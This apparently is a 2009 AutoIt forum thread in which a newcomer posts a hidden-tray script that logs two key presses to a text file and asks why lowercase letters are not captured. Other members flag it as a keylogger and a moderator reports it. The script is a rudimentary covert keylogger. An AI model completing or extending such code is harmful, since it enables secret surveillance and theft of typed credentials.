07hc420 Posted September 7, 2009 Share Posted September 7, 2009 (edited) My code #NoTrayIcon #include<Misc.au3> ; Open dll user32 $dll = DllOpen("user32.dll") ; Loop While 1 if _IsPressed("61", $dll) then FileWrite("temp.txt", "a") EndIf While _IsPressed("61", $dll) = 1 WEnd if _IsPressed("40", $dll) then FileWrite("temp.txt", "@") EndIf While _IsPressed("40", $dll) = 1 WEnd WEnd ; Close user32.dll DllClose($dll) I can not get char '@' or 'a' when user press @ or a from his keyboard. But 'A' with hex '41' is ok. Anyone help would be appreciated. I thank a lot. Edited September 7, 2009 by 07hc420 Link to comment Share on other sites More sharing options...
nfaustin Posted September 7, 2009 Share Posted September 7, 2009 Hi 07hc420, Friendly reminder, I suggest you edit your post before you get ban or this post is blocked. This is a keylogger issue. [font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font] Link to comment Share on other sites More sharing options...
07hc420 Posted September 7, 2009 Author Share Posted September 7, 2009 i am so sorry. i am a new member and a new autoit programer so i can only figure out my knowledge. Link to comment Share on other sites More sharing options...
nfaustin Posted September 7, 2009 Share Posted September 7, 2009 (edited) Better read first the do's and dont's in this forum my friend...especially the sticky one.http://www.autoitscript.com/forum/index.php?showtopic=14632 Edited September 7, 2009 by nfaustin [font="Palatino Linotype"][size="2"]*** The information contained in this post should be considered and certified WORKS ON MY MACHINE ***[/size][/font][font="Palatino Linotype"][size="2"] [/size][/font] Link to comment Share on other sites More sharing options...
Moderators SmOke_N Posted September 7, 2009 Moderators Share Posted September 7, 2009 Enough nfaustin, it's been reported. Common sense plays a role in the basics of understanding AutoIt... If you're lacking in that, do us all a favor, and step away from the computer. Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now